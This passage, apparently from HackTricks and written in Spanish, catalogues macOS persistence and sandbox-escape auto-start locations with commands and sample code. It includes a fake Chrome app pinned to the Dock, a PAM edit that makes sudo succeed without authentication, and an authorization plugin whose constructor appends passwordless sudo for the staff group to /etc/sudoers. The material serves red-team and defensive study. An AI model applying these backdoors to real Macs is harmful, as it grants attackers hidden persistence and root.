chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

Selectores de color

Descripción: https://theevilbit.github.io/beyond/beyond_0017

• Útil para evadir el sandbox: 🟠
• Se necesita una acción muy específica
• Terminarás en otro sandbox
• Bypass de TCC: 🔴

Ubicación

• /Library/ColorPickers
• Se requieren permisos de root
• Desencadenar: Usar el selector de color
• ~/Library/ColorPickers
• Desencadenar: Usar el selector de color

Descripción y Exploit

Compila un paquete de selector de color con tu código (podrías usar este por ejemplo) y agrega un constructor (como en la sección de Protector de pantalla) y copia el paquete a ~/Library/ColorPickers.

Entonces, cuando se active el selector de color, tu código también debería ejecutarse.

Ten en cuenta que el binario que carga tu biblioteca tiene un sandbox muy restrictivo: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

{% code overflow="wrap" %}

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

{% endcode %}

Plugins de Sincronización de Finder

Descripción: https://theevilbit.github.io/beyond/beyond_0026/
Descripción: https://objective-see.org/blog/blog_0x11.html

• Útil para evadir el sandbox: No, porque necesitas ejecutar tu propia aplicación
• Bypass de TCC: ???

Ubicación

• Una aplicación específica

Descripción y Exploit

Un ejemplo de aplicación con una Extensión de Sincronización de Finder se puede encontrar aquí.

Las aplicaciones pueden tener Extensiones de Sincronización de Finder. Esta extensión se incluirá en una aplicación que se ejecutará. Además, para que la extensión pueda ejecutar su código, debe estar firmada con un certificado de desarrollador de Apple válido, debe estar en sandbox (aunque se pueden agregar excepciones relajadas) y debe estar registrada con algo como:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

Protector de pantalla

Escritura: https://theevilbit.github.io/beyond/beyond_0016/
Escritura: https://posts.specterops.io/saving-your-access-d562bf5bf90b

• Útil para evadir el sandbox: 🟠
• Pero terminarás en un sandbox de aplicación común
• Bypass de TCC: 🔴

Ubicación

• /System/Library/Screen Savers
• Se requieren permisos de root
• Desencadenar: Seleccionar el protector de pantalla
• /Library/Screen Savers
• Se requieren permisos de root
• Desencadenar: Seleccionar el protector de pantalla
• ~/Library/Screen Savers
• Desencadenar: Seleccionar el protector de pantalla

Descripción y Exploit

Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo Protector de pantalla. Luego, agrega tu código, por ejemplo el siguiente código para generar registros.

Compílalo y copia el paquete .saver a ~/Library/Screen Savers. Luego, abre la GUI del Protector de pantalla y si haces clic en él, debería generar muchos registros:

{% code overflow="wrap" %}

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

{% endcode %}

{% hint style="danger" %} Ten en cuenta que debido a que dentro de los permisos del binario que carga este código (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) puedes encontrar com.apple.security.app-sandbox estarás dentro del sandbox de la aplicación común. {% endhint %}

Código del protector de pantalla:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Plugins de Spotlight

writeup: https://theevilbit.github.io/beyond/beyond_0011/

• Útil para evadir el sandbox: 🟠
• Pero terminarás en un sandbox de aplicación
• Bypass de TCC: 🔴
• El sandbox parece muy limitado

Ubicación

• ~/Library/Spotlight/
• Disparador: Se crea un nuevo archivo con una extensión gestionada por el plugin de Spotlight.
• /Library/Spotlight/
• Disparador: Se crea un nuevo archivo con una extensión gestionada por el plugin de Spotlight.
• Se requiere permisos de root
• /System/Library/Spotlight/
• Disparador: Se crea un nuevo archivo con una extensión gestionada por el plugin de Spotlight.
• Se requiere permisos de root
• Some.app/Contents/Library/Spotlight/
• Disparador: Se crea un nuevo archivo con una extensión gestionada por el plugin de Spotlight.
• Se requiere una nueva aplicación

Descripción y Explotación

Spotlight es la función de búsqueda integrada de macOS, diseñada para proporcionar a los usuarios un acceso rápido y completo a los datos en sus computadoras.
Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una base de datos propietaria y crea un índice al analizar la mayoría de los archivos, lo que permite búsquedas rápidas tanto por nombres de archivo como por su contenido.

El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa 'servidor de metadatos'. Este proceso orquesta todo el servicio de Spotlight. Complementando esto, existen múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (ps -ef | grep mdworker). Estas tareas son posibles a través de los complementos de importación de Spotlight, o paquetes ".mdimporter", que permiten a Spotlight comprender e indexar contenido en una amplia gama de formatos de archivo.

Los complementos o paquetes .mdimporter se encuentran en los lugares mencionados anteriormente y si aparece un nuevo paquete, se carga en cuestión de minutos (no es necesario reiniciar ningún servicio). Estos paquetes deben indicar qué tipo de archivo y extensiones pueden gestionar, de esta manera, Spotlight los utilizará cuando se cree un nuevo archivo con la extensión indicada.

Es posible encontrar todos los mdimporters cargados ejecutando:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

Y por ejemplo /Library/Spotlight/iBooksAuthor.mdimporter se utiliza para analizar este tipo de archivos (extensiones .iba y .book entre otros):

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

{% hint style="danger" %} Si revisas el Plist de otros mdimporter, es posible que no encuentres la entrada UTTypeConformsTo. Esto se debe a que es un Identificador de Tipo Uniforme (UTI) integrado y no necesita especificar extensiones.

Además, los complementos predeterminados del sistema siempre tienen prioridad, por lo que un atacante solo puede acceder a archivos que no estén indexados por los propios mdimporters de Apple. {% endhint %}

Para crear tu propio importador, podrías comenzar con este proyecto: https://github.com/megrimm/pd-spotlight-importer y luego cambiar el nombre, los CFBundleDocumentTypes y agregar UTImportedTypeDeclarations para que admita la extensión que deseas soportar y reflejarlos en schema.xml.
Luego cambia el código de la función GetMetadataForFile para ejecutar tu carga útil cuando se cree un archivo con la extensión procesada.

Finalmente, compila y copia tu nuevo .mdimporter en una de las ubicaciones anteriores y puedes verificar cuándo se carga monitoreando los registros o revisando mdimport -L.

Panel de Preferencias

{% hint style="danger" %} Parece que esto ya no funciona. {% endhint %}

Descripción: https://theevilbit.github.io/beyond/beyond_0009/

• Útil para evadir el sandbox: 🟠
• Requiere una acción de usuario específica
• Bypass de TCC: 🔴

Ubicación

• /System/Library/PreferencePanes
• /Library/PreferencePanes
• ~/Library/PreferencePanes

Descripción

Parece que esto ya no funciona.

Bypass de Sandbox de Root

{% hint style="success" %} Aquí puedes encontrar ubicaciones de inicio útiles para bypass de sandbox que te permiten simplemente ejecutar algo al escribirlo en un archivo siendo root y/o requiriendo otras condiciones extrañas. {% endhint %}

Periódico

Descripción: https://theevilbit.github.io/beyond/beyond_0019/

• Útil para evadir el sandbox: 🟠
• Pero necesitas ser root
• Bypass de TCC: 🔴

Ubicación

• /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
• Se requiere ser root
• Disparador: Cuando llegue el momento
• /etc/daily.local, /etc/weekly.local o /etc/monthly.local
• Se requiere ser root
• Disparador: Cuando llegue el momento

Descripción y Explotación

Los scripts periódicos (/etc/periodic) se ejecutan debido a los launch daemons configurados en /System/Library/LaunchDaemons/com.apple.periodic*. Ten en cuenta que los scripts almacenados en /etc/periodic/ se ejecutan como el propietario del archivo, por lo que esto no funcionará para una posible escalada de privilegios.

{% code overflow="wrap" %}

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

{% endcode %}

Hay otros scripts periódicos que se ejecutarán indicados en /etc/defaults/periodic.conf:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

Si logras escribir alguno de los archivos /etc/daily.local, /etc/weekly.local o /etc/monthly.local, será ejecutado tarde o temprano.

{% hint style="warning" %} Ten en cuenta que el script periódico se ejecutará como el propietario del script. Por lo tanto, si un usuario regular es el propietario del script, se ejecutará como ese usuario (esto podría prevenir ataques de escalada de privilegios). {% endhint %}

PAM

Explicación: Linux Hacktricks PAM
Explicación: https://theevilbit.github.io/beyond/beyond_0005/

• Útil para evadir la sandbox: 🟠
• Pero necesitas ser root
• Bypass de TCC: 🔴

Ubicación

• Siempre se requiere ser root

Descripción y Explotación

Dado que PAM se enfoca más en la persistencia y en el malware que en la ejecución sencilla dentro de macOS, este blog no proporcionará una explicación detallada, lee las explicaciones para entender mejor esta técnica.

Verifica los módulos de PAM con:

ls -l /etc/pam.d

Una técnica de persistencia/escalada de privilegios que abusa de PAM es tan fácil como modificar el módulo /etc/pam.d/sudo agregando al principio la línea:

auth       sufficient     pam_permit.so

Así se verá algo como esto:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

Y, por lo tanto, cualquier intento de usar sudo funcionará.

{% hint style="danger" %} Ten en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una solicitud pidiendo acceso. {% endhint %}

Plugins de Autorización

Descripción: https://theevilbit.github.io/beyond/beyond_0028/
Descripción: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

• Útil para evadir el sandbox: 🟠
• Pero necesitas ser root y hacer configuraciones adicionales
• Bypass de TCC: ???

Ubicación

• /Library/Security/SecurityAgentPlugins/
• Se requiere ser root
• También es necesario configurar la base de datos de autorización para usar el plugin

Descripción y Explotación

Puedes crear un plugin de autorización que se ejecutará cuando un usuario inicie sesión para mantener la persistencia. Para obtener más información sobre cómo crear uno de estos plugins, consulta las descripciones anteriores (y ten cuidado, uno mal escrito puede bloquearte y necesitarás limpiar tu Mac desde el modo de recuperación).

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Mueva el paquete a la ubicación para que se cargue:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

Finalmente agregar la regla para cargar este Plugin:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

El evaluate-mechanisms le dirá al marco de autorización que necesitará llamar a un mecanismo externo para la autorización. Además, privileged hará que se ejecute como root.

Actívalo con:

security authorize com.asdf.asdf

Y luego el grupo staff debe tener acceso sudo (lee /etc/sudoers para confirmar).

Man.conf

Explicación: https://theevilbit.github.io/beyond/beyond_0030/

• Útil para evadir el sandbox: 🟠
• Pero necesitas ser root y el usuario debe usar man
• Bypass de TCC: 🔴

Ubicación

• /private/etc/man.conf
• Se requiere ser root
• /private/etc/man.conf: Cada vez que se use man

Descripción y Exploit

El archivo de configuración /private/etc/man.conf indica el binario/script a utilizar al abrir archivos de documentación de man. Por lo tanto, la ruta al ejecutable podría ser modificada para que cada vez que el usuario use man para leer algunos documentos, se ejecute una puerta trasera.

Por ejemplo, establecido en /private/etc/man.conf:

MANPAGER /tmp/view

Y luego crear /tmp/view como:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Descripción: https://theevilbit.github.io/beyond/beyond_0023/

• Útil para evadir el sandbox: 🟠
• Pero necesitas ser root y que apache esté en ejecución
• Bypass de TCC: 🔴
• Httpd no tiene permisos

Ubicación

• /etc/apache2/httpd.conf
• Se requiere ser root
• Desencadenante: Cuando se inicia Apache2

Descripción y Exploit

Puedes indicar en /etc/apache2/httpd.conf que cargue un módulo agregando una línea como esta:

{% code overflow="wrap" %}

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

{% endcode %}

De esta manera, tus módulos compilados serán cargados por Apache. La única condición es que necesitas firmarlo con un certificado válido de Apple, o necesitas agregar un nuevo certificado de confianza en el sistema y firmarlo con él.

Luego, si es necesario, para asegurarte de que el servidor se iniciará, puedes ejecutar:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Ejemplo de código para el Dylb:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

Marco de auditoría BSM

Descripción: https://theevilbit.github.io/beyond/beyond_0031/

• Útil para evadir el sandbox: 🟠
• Pero necesitas ser root, que auditd esté en ejecución y causar una advertencia
• Bypass de TCC: 🔴

Ubicación

• /etc/security/audit_warn
• Se requiere ser root
• Desencadenante: Cuando auditd detecta una advertencia

Descripción y Exploit

Cada vez que auditd detecta una advertencia, se ejecuta el script /etc/security/audit_warn. Por lo tanto, podrías agregar tu carga útil en él.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

Puedes forzar una advertencia con sudo audit -n.

Elementos de inicio

{% hint style="danger" %} Esto está obsoleto, por lo que no debería encontrarse nada en esos directorios. {% endhint %}

El directorio StartupItem debe estar ubicado dentro de /Library/StartupItems/ o /System/Library/StartupItems/. Una vez establecido este directorio, debe contener dos archivos específicos:

1. Un script rc: Un script de shell ejecutado al inicio.
2. Un archivo plist, específicamente nombrado StartupParameters.plist, que contiene varias configuraciones.

Asegúrate de que tanto el script rc como el archivo StartupParameters.plist estén ubicados correctamente dentro del directorio StartupItem para que el proceso de inicio los reconozca y los utilice.

{% tabs %} {% tab title="StartupParameters.plist" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

{% endtab %}

{% tab title="superservicename" %}

Ubicaciones de inicio automático de macOS

Introducción

En macOS, hay varias ubicaciones donde se pueden configurar aplicaciones para que se inicien automáticamente al iniciar sesión. Estas ubicaciones pueden ser aprovechadas por los atacantes para lograr persistencia en el sistema comprometido.

Ubicaciones de inicio automático

1. LaunchAgents: Estas son configuraciones a nivel de usuario que se aplican cuando un usuario inicia sesión. Se encuentran en ~/Library/LaunchAgents/.

2. LaunchDaemons: Estas son configuraciones a nivel de sistema que se aplican cuando se inicia el sistema. Se encuentran en /Library/LaunchDaemons/.

3. Login Items: Estas son aplicaciones o scripts que se inician automáticamente al iniciar sesión en una cuenta de usuario. Se pueden encontrar en Preferencias del Sistema > Usuarios y Grupos > Elementos de inicio.

4. Profile: Los perfiles de configuración pueden contener configuraciones que especifiquen aplicaciones que se iniciarán automáticamente. Se pueden encontrar en Preferencias del Sistema > Perfiles.

Verificación y eliminación

Para verificar y eliminar configuraciones no deseadas de inicio automático, se pueden seguir los siguientes pasos:

1. Revisar las ubicaciones mencionadas anteriormente en busca de configuraciones no reconocidas.

2. Eliminar las configuraciones no deseadas, asegurándose de no eliminar configuraciones legítimas necesarias para el funcionamiento del sistema o de las aplicaciones.

Al mantener un control sobre las ubicaciones de inicio automático en macOS, se puede reducir el riesgo de que los atacantes logren persistencia en el sistema comprometido.

{% endtab %}

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

{% endtab %} {% endtabs %}

emond

{% hint style="danger" %} No puedo encontrar este componente en mi macOS, para obtener más información consulta el informe técnico. {% endhint %}

Informe técnico: https://theevilbit.github.io/beyond/beyond_0023/

Introducido por Apple, emond es un mecanismo de registro que parece estar subdesarrollado o posiblemente abandonado, pero sigue siendo accesible. Aunque no es particularmente beneficioso para un administrador de Mac, este servicio oscuro podría servir como un método sutil de persistencia para actores de amenazas, probablemente pasando desapercibido para la mayoría de los administradores de macOS.

Para aquellos que conocen su existencia, identificar cualquier uso malicioso de emond es sencillo. El LaunchDaemon del sistema para este servicio busca scripts para ejecutar en un directorio único. Para inspeccionar esto, se puede utilizar el siguiente comando:

ls -l /private/var/db/emondClients

XQuartz

Descripción: https://theevilbit.github.io/beyond/beyond_0018/

Ubicación

• /opt/X11/etc/X11/xinit/privileged_startx.d
• Se requiere acceso de root
• Desencadenante: Con XQuartz

Descripción y Exploit

XQuartz ya no se instala en macOS, así que si deseas más información, consulta el writeup.

kext

{% hint style="danger" %} Es tan complicado instalar kext incluso como root que no lo consideraré para escapar de las cajas de arena o para persistencia (a menos que tengas un exploit) {% endhint %}

Ubicación

Para instalar un KEXT como un elemento de inicio, debe estar instalado en una de las siguientes ubicaciones:

• /System/Library/Extensions
• Archivos KEXT integrados en el sistema operativo OS X.
• /Library/Extensions
• Archivos KEXT instalados por software de terceros

Puedes listar los archivos kext cargados actualmente con:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

Para obtener más información sobre extensiones de kernel, consulte esta sección.

amstoold

Descripción: https://theevilbit.github.io/beyond/beyond_0029/

Ubicación

• /usr/local/bin/amstoold
• Se requieren permisos de root

Descripción y explotación

Aparentemente, el plist de /System/Library/LaunchAgents/com.apple.amstoold.plist estaba utilizando este binario mientras exponía un servicio XPC... el problema es que el binario no existía, por lo que podías colocar algo allí y cuando se llamara al servicio XPC, se llamaría a tu binario.

Ya no puedo encontrar esto en mi macOS.

xsanctl

Descripción: https://theevilbit.github.io/beyond/beyond_0015/

Ubicación

• /Library/Preferences/Xsan/.xsanrc
• Se requieren permisos de root
• Desencadenante: Cuando se ejecuta el servicio (raramente)

Descripción y explotación

Aparentemente, no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si deseas más información, consulta el writeup.

/etc/rc.common

{% hint style="danger" %} Esto no funciona en las versiones modernas de MacOS {% endhint %}

También es posible colocar aquí comandos que se ejecutarán al inicio. Ejemplo de un script rc.common regular:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

Técnicas y herramientas de persistencia

• https://github.com/cedowens/Persistent-Swift
• https://github.com/D00MFist/PersistentJXA

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

• Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
• Obtén el oficial PEASS & HackTricks swag
• Descubre The PEASS Family, nuestra colección exclusiva de NFTs
• Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
• Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.